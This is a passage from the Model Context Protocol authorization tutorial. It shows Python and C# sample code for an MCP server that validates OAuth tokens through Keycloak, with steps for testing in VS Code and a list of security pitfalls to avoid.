os.getenv("AUTH_HOST", "localhost") AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080")) AUTH_REALM: str = os.getenv("AUTH_REALM", "master") # OAuth client settings OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "mcp-server") OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "UO3rmozkFFkXr0QxPTkzZ0LMXDidIikB") # Server settings MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools") OAUTH_STRICT: bool = os.getenv("OAUTH_STRICT", "false").lower() in ("true", "1", "yes") TRANSPORT: str = os.getenv("TRANSPORT", "streamable-http") @property def server_url(self) -> str: """Build the server URL.""" return f"http://{self.HOST}:{self.PORT}" @property def auth_base_url(self) -> str: """Build the auth server base URL.""" return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/" def validate(self) -> None: """Validate configuration.""" if self.TRANSPORT not in ["sse", "streamable-http"]: raise ValueError(f"Invalid transport: {self.TRANSPORT}. Must be 'sse' or 'streamable-http'") # Global configuration instance config = Config() The server implementation is as follows: import datetime import logging from typing import Any from pydantic import AnyHttpUrl from mcp.server.auth.settings import AuthSettings from mcp.server.fastmcp.server import FastMCP from .config import config from .token_verifier import IntrospectionTokenVerifier logger = logging.getLogger(__name__) def create_oauth_urls() -> dict[str, str]: """Create OAuth URLs based on configuration (Keycloak-style).""" from urllib.parse import urljoin auth_base_url = config.auth_base_url return { "issuer": auth_base_url, "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"), "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"), "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"), } def create_server() -> FastMCP: """Create and configure the FastMCP server.""" config.validate() oauth_urls = create_oauth_urls() token_verifier = IntrospectionTokenVerifier( introspection_endpoint=oauth_urls["introspection_endpoint"], server_url=config.server_url, client_id=config.OAUTH_CLIENT_ID, client_secret=config.OAUTH_CLIENT_SECRET, ) app = FastMCP( name="MCP Resource Server", instructions="Resource Server that validates tokens via Authorization Server introspection", host=config.HOST, port=config.PORT, debug=True, streamable_http_path="/", token_verifier=token_verifier, auth=AuthSettings( issuer_url=AnyHttpUrl(oauth_urls["issuer"]), required_scopes=[config.MCP_SCOPE], resource_server_url=AnyHttpUrl(config.server_url), ), ) @app.tool() async def add_numbers(a: float, b: float) -> dict[str, Any]: """ Add two numbers together. This tool demonstrates basic arithmetic operations with OAuth authentication. Args: a: The first number to add b: The second number to add """ result = a + b return { "operation": "addition", "operand_a": a, "operand_b": b, "result": result, "timestamp": datetime.datetime.now().isoformat() } @app.tool() async def multiply_numbers(x: float, y: float) -> dict[str, Any]: """ Multiply two numbers together. This tool demonstrates basic arithmetic operations with OAuth authentication. Args: x: The first number to multiply y: The second number to multiply """ result = x * y return { "operation": "multiplication", "operand_x": x, "operand_y": y, "result": result, "timestamp": datetime.datetime.now().isoformat() } return app def main() -> int: """ Run the MCP Resource Server. This server: - Provides RFC 9728 Protected Resource Metadata - Validates tokens via Authorization Server introspection - Serves MCP tools requiring authentication Configuration is loaded from config.py and environment variables. """ logging.basicConfig(level=logging.INFO) try: config.validate() oauth_urls = create_oauth_urls() except ValueError as e: logger.error("Configuration error: %s", e) return 1 try: mcp_server = create_server() logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT) logger.info("Authorization Server: %s", oauth_urls["issuer"]) logger.info("Transport: %s", config.TRANSPORT) mcp_server.run(transport=config.TRANSPORT) return 0 except Exception: logger.exception("Server error") return 1 if __name__ == "__main__": exit(main()) Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662).""" import logging from typing import Any from mcp.server.auth.provider import AccessToken, TokenVerifier from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url logger = logging.getLogger(__name__) class IntrospectionTokenVerifier(TokenVerifier): """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662). """ def __init__( self, introspection_endpoint: str, server_url: str, client_id: str, client_secret: str, ): self.introspection_endpoint = introspection_endpoint self.server_url = server_url self.client_id = client_id self.client_secret = client_secret self.resource_url = resource_url_from_server_url(server_url) async def verify_token(self, token: str) -> AccessToken | None: """Verify token via introspection endpoint.""" import httpx if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")): return None timeout = httpx.Timeout(10.0, connect=5.0) limits = httpx.Limits(max_connections=10, max_keepalive_connections=5) async with httpx.AsyncClient( timeout=timeout, limits=limits, verify=True, ) as client: try: form_data = { "token": token, "client_id": self.client_id, "client_secret": self.client_secret, } headers = {"Content-Type": "application/x-www-form-urlencoded"} response = await client.post( self.introspection_endpoint, data=form_data, headers=headers, ) if response.status_code != 200: return None data = response.json() if not data.get("active", False): return None if not self._validate_resource(data): return None return AccessToken( token=token, client_id=data.get("client_id", "unknown"), scopes=data.get("scope", "").split() if data.get("scope") else [], expires_at=data.get("exp"), resource=data.get("aud"), # Include resource in token ) except Exception as e: return None def _validate_resource(self, token_data: dict[str, Any]) -> bool: """Validate token was issued for this resource server. Rules: - Reject if 'aud' missing. - Accept if any audience entry matches the derived resource URL. - Supports string or list forms per JWT spec. """ if not self.server_url or not self.resource_url: return False aud: list[str] | str | None = token_data.get("aud") if isinstance(aud, list): return any(self._is_valid_resource(a) for a in aud) if isinstance(aud, str): return self._is_valid_resource(aud) return False def _is_valid_resource(self, resource: str) -> bool: """Check if the given resource matches our server.""" return check_resource_allowed(self.resource_url, resource) For more details, see the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk) . You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth) .To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation. using Microsoft.AspNetCore.Authentication.JwtBearer; using Microsoft.IdentityModel.Tokens; using ModelContextProtocol.AspNetCore.Authentication; using ProtectedMcpServer.Tools; using System.Security.Claims; var builder = WebApplication.CreateBuilder(args); var serverUrl = "http://localhost:3000/"; var authorizationServerUrl = "http://localhost:8080/realms/master/"; builder.Services.AddAuthentication(options => { options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme; options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme; }) .AddJwtBearer(options => { options.Authority = authorizationServerUrl; var normalizedServerAudience = serverUrl.TrimEnd('/'); options.TokenValidationParameters = new TokenValidationParameters { ValidIssuer = authorizationServerUrl, ValidAudiences = new[] { normalizedServerAudience, serverUrl }, AudienceValidator = (audiences, securityToken, validationParameters) => { if (audiences == null) return false; foreach (var aud in audiences) { if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase)) { return true; } } return false; } }; options.RequireHttpsMetadata = false; // Set to true in production options.Events = new JwtBearerEvents { OnTokenValidated = context => { var name = context.Principal?.Identity?.Name ?? "unknown"; var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown"; Console.WriteLine($"Token validated for: {name} ({email})"); return Task.CompletedTask; }, OnAuthenticationFailed = context => { Console.WriteLine($"Authentication failed: {context.Exception.Message}"); return Task.CompletedTask; }, }; }) .AddMcp(options => { options.ResourceMetadata = new() { Resource = new Uri(serverUrl), ResourceDocumentation = new Uri("https://docs.example.com/api/math"), AuthorizationServers = { new Uri(authorizationServerUrl) }, ScopesSupported = ["mcp:tools"] }; }); builder.Services.AddAuthorization(); builder.Services.AddHttpContextAccessor(); builder.Services.AddMcpServer() .WithTools() .WithHttpTransport(); var app = builder.Build(); app.UseAuthentication(); app.UseAuthorization(); app.MapMcp().RequireAuthorization(); Console.WriteLine($"Starting MCP server with authorization at {serverUrl}"); Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}"); Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource"); Console.WriteLine("Exposed Math tools: Add, Multiply"); Console.WriteLine("Press Ctrl+C to stop the server"); app.Run(serverUrl); For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk) . [​](https://modelcontextprotocol.io/docs/tutorials/security/authorization#testing-the-mcp-server) Testing the MCP Server --------------------------------------------------------------------------------------------------------------------------- For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com/) , but any client that supports MCP and the new authorization specification will fit. Press Cmd + Shift + P and select **MCP: Add server…**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this: "my-mcp-server-18676652": { "url": "http://localhost:3000", "type": "http" } On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope. ![Keycloak consent form for VS Code.](https://mintcdn.com/mcp/sAd4SGUO-cEUqgzn/images/tutorial-authorization/keycloak-vscode.png?w=2500&fit=max&auto=format&n=sAd4SGUO-cEUqgzn&q=85&s=3a0b543da5988dd95b1a447b138c83be) After consenting, you will see the tools listed right above the server entry in `mcp.json`. ![Tools listed in VS Code.](https://mintcdn.com/mcp/sAd4SGUO-cEUqgzn/images/tutorial-authorization/tools-vs-code.png?w=2500&fit=max&auto=format&n=sAd4SGUO-cEUqgzn&q=85&s=1f6dd6a4d23ee579f73421689c4c2daa) You will be able to invoke individual tools with the help of the `#` sign in the chat view. ![Invoking MCP tools in VS Code.](https://mintcdn.com/mcp/sAd4SGUO-cEUqgzn/images/tutorial-authorization/tools-vs-code-invoke.png?w=2500&fit=max&auto=format&n=sAd4SGUO-cEUqgzn&q=85&s=0250d29b2e115324e0b94a4796938bad) [​](https://modelcontextprotocol.io/docs/tutorials/security/authorization#common-pitfalls-and-how-to-avoid-them) Common Pitfalls and How to Avoid Them --------------------------------------------------------------------------------------------------------------------------------------------------------- For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](https://modelcontextprotocol.io/specification/draft/basic/security_best_practices) . A few key issues are called out below. * **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you’re more likely to implement things incorrectly unless you are a security expert. * **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods. * **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it’s meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints. * **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens. * **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development. * **Least-privilege scopes**. Don’t use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server. * **Don’t log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs. * **Separate app vs. resource server credentials**. Don’t reuse your MCP server’s client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control. * **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate. * **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server. * **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server. * **Audience/resource indicator misuse**. Don’t configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server. * **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals. * **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side. [​](https://modelcontextprotocol.io/docs/tutorials/security/authorization#related-standards-and-documentation) Related Standards and Documentation ----------------------------------------------------------------------------------------------------------------------------------------------------- MCP authorization builds on these well-established standards: * **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13) **: The core authorization framework * **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414) **: Authorization Server Metadata discovery * **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591) **: Dynamic Client Registration * **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728) **: Protected Resource Metadata * **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707) **: Resource Indicators For additional details, refer to: * [Authorization Specification](https://modelcontextprotocol.io/specification/draft/basic/authorization) * [Security Best Practices](https://modelcontextprotocol.io/specification/draft/basic/security_best_practices) * [Available MCP SDKs](https://modelcontextprotocol.io/docs/sdk) Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise. Was this page helpful? YesNo [SDKs](https://modelcontextprotocol.io/docs/sdk) [Security Best Practices](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices) ⌘I ---